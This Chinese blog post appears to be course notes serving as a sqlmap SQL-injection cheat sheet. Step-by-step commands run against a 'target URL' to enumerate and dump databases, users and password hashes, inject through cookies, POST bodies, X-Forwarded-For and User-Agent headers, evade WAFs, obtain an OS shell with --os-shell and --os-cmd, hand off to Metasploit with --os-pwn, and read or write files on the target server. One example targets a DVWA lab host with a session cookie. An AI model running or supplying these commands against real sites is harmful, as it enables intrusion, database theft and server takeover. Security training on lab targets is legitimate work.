• SQLmap自动注入工具命令(10.28 10.29 第二十八 二十九天)


    SQL注入工具:明小子  啊D   萝卜头   sqlmap  等等

    SQLMAP:开源的自动化诸如利用工具,支持的数据库有12中,在/plugins中可以看到支持的数据库种类,在所有注入利用工具中他是最好用的!!

    支持的注入类型:布尔  时间  报错  联合  堆查询   内联

    可以获取用户名   密码  权限   角色     数据库(表   字段  内容)

    可以爆破识别密文数据

    getshell

    命令执行

    脱库/删库

    内置文档介绍:

    doc   介绍文档

    extra     sqlmap额外的功能,运行cmd执行命令

    lib   sqlmap的核心功能代码

    plugins   包含12种数据库识别程序

    data   存放一些攻击过程中使用的工具或者命令

    procs  包含了mysql  mssql  oracle  postgersql  这四种数据库的触发程序

    shell  远程命令和后门

    txt  表名字典  列名字典   ua字典

    udf  存放攻击载荷 payload

    xml  存放检测的脚本

    tamper   包含各种绕WAF的处理脚本

    thirdparty  包含了第三方插件   颜色  优化  等等

    SQLMAP工作流程:

    1)初始化

    2)开始检测

    1>  检测之前是否注入过(会把检测的URL默认存放在用户家目录.sqlmapoutput,可以指定存放目录    --output-dir 参数可以指定存放目录)

    2>  解析URL,判断该URL是否可访问

    3>  检测是否有WAF

    sqlmup -u "目录URL" --identify-waf

    sqlmap -u "目录URL" --check-waf

    3)执行用户输入的参数

    -u   指定URL

    -p   指定参数

    -v   指定显示的级别

    -m   批量测试

    -p   指定测试参数

    -r   读取文件

    --dbs   数据库

    --current-db   当前数据库

    --tables   表名

    --columns   列名

    --dump  获取数据

    --batch   跳过问询(yes)直接执行

    --DBMS   指定数据库类型

    --current-user   当前数据库

    --users   所有用户

    --passwords   数据库密码

    --hostname  系统名称

    --baner   数据库信息

    --roles   数据库用户角色

    --level   测试等级

    --delay 2   延时两秒注入

    步骤详解

    1)判断注入点:sqlmap -u "目标URL"     当看到探测结果中有环境参数(系统类型、数据库类型)则表名有注入点

    2)查看所有数据库:sqlmap -u "目标URL" --dbs --dbms mysql

    3)获取当前数据库:sqlmap -u "目标URL" --current-db --dbms mysql

    4)获取当前数据库下的表:sqlmap -u "目标URL" -D 库名 --dbms mysql --tables

    5)获取当前数据库中指定表下的字段名:sqlmap -u "目标URL" -D 库名 -T 表名 --columns

    6)获取指定字段对应的内容:sqlmap -u "目标URL" -D 库名 -T 表名 -C 字段名 --dump(注意:多个字段名需要使用逗号隔开)

    7cookie型注入

    python sqlmap.py u "http://10.3.150.82/dvwa/vulnerabilities/sqli/index.phpid=1&Submit=Submit#" -p id --cookie="security=low; PHPSESSID=te2i8hgoig4kt1sjmqufbugt52" 

    POST型注入的sqlmap利用方法

    拦截数据包保存txt文件

    python sqlmap.py -r post.txt -p "uname"  -r读取指定的文件,-p告诉sqlmap测试哪个参数)"

    COOKIE注入

    python sqlmap.py -r post_cookie.txt --level 2

    python sqlmap.py -u "URL" --cookie="user=1" --level 2

    --level=LEVEL  执行测试的等级(1-5,默认是1

    XFF注入

    python sqlmap.py -u "URL" -p "x-forwarded-for" --level 3

    python sqlmap.py -r "post_xff.txt" --level 3

    UA注入:

    python sqlmap.py -r "post_ua.txt" --level 3 --dbms mysql

    伪静态注入:

    python sqlmap.py -u "URL/1*.html"   加个*

    -v 0-6

    0、只显示python错误以及严重的信息

    1、同事显示基本信息和警告信息(默认)

    2、同事显示debug信息。

    3、同事显示注入的payload(建议使用次级别,可)

    --risk 0-3

    0-3共有四个风险等级

    批量测试:

      python sqlmap.py -m piliang.txt

    SQLMAP注入点执行系统命令或者交互式shell

    (条件1、数据库有写文件权限   2、需要知道WEB站点路径{www}

    sqlmap.py -u "target_url" --os-cmd=执行的命令    执行系统命令

    sqlmap.py -u "target_url" --os-shell    获取系统的shell

    sqlmap.py -u "target_url" --is-dba   判断当前用户是不是dba

    sqlmap.py -u "target_url" --delay 2   延时两秒注入

    sqlmap.py -u "target_url" --sql-querty=select vision()   执行SQL命令

    sqlmap.py -u "target_url" --sql-shell     反弹SQLshell

    sqlmap直连mysql数据库

    sqlmap.py -d "mysql://username:password@192.168.2.101:3306/mysql" -f --banner --dbs --users

    sqlmap注入利用Access

    Access数据库 没有库的概念。打开数据库文件看到的只有表和字段以及内容

    python sqlmap.py -u "target_url" --tables

    sqlmapmsf结合使用

    sqlmap -u "URL" -p name --dbms mysql --os-pwn --msf-path /usr/share/metasploit-framework

    msf存储路径:/usr/share/metasploit-framework

    sqlmapBP的结合使用:

    1、给BP代开抓包储存

    2、然后抓取目标URL

    3、打开sqlmap输入如下命令:sqlmap.py -l "BP储存的数据包文件"  -batch

    -l 表示从文件读取http请求,测试完之后的结果如下,并生成一个.csv格式的文件。

    sqlmap读写文件

    --file-read=(读取文件的绝对路径)  从后端的数据库管理系统文件读取文件(物理路径)

    sqlmap.py -u "URL" --file-read=(读取文件的绝对路径)

    --file-write=WFILE     编辑后端的数据库管理系统文件系统上的本地文件

    --file-dest=DFILE    后端的数据库管理系统写入文件的绝对路径

    sqlmap.py -u "URL" --file-read=(写入目标机的绝对路径) --file-write=(读取攻击者的文件路径)

  • 相关阅读:
    Python 正则表达式匹配两个指定字符串中间的内容
    Switch Case 和 If Else
    MYSQL LETT/RIGHT/INNER/FUll JOIN 注意事项
    MYSQL 批处理 Packet for query is too large
    Junit单元测试不支持多线程
    postman中 form-data、x-www-form-urlencoded、raw、binary的区别
    一个项目中:只能存在一个 WebMvcConfigurationSupport (添加swagger坑)
    Nginx 转发特点URL到指定服务
    基于UDP协议的程序设计
    TcpClient类与TcpListener类
  • 原文地址:https://www.cnblogs.com/liujizhou/p/11768405.html
Copyright © 2020-2023  润新知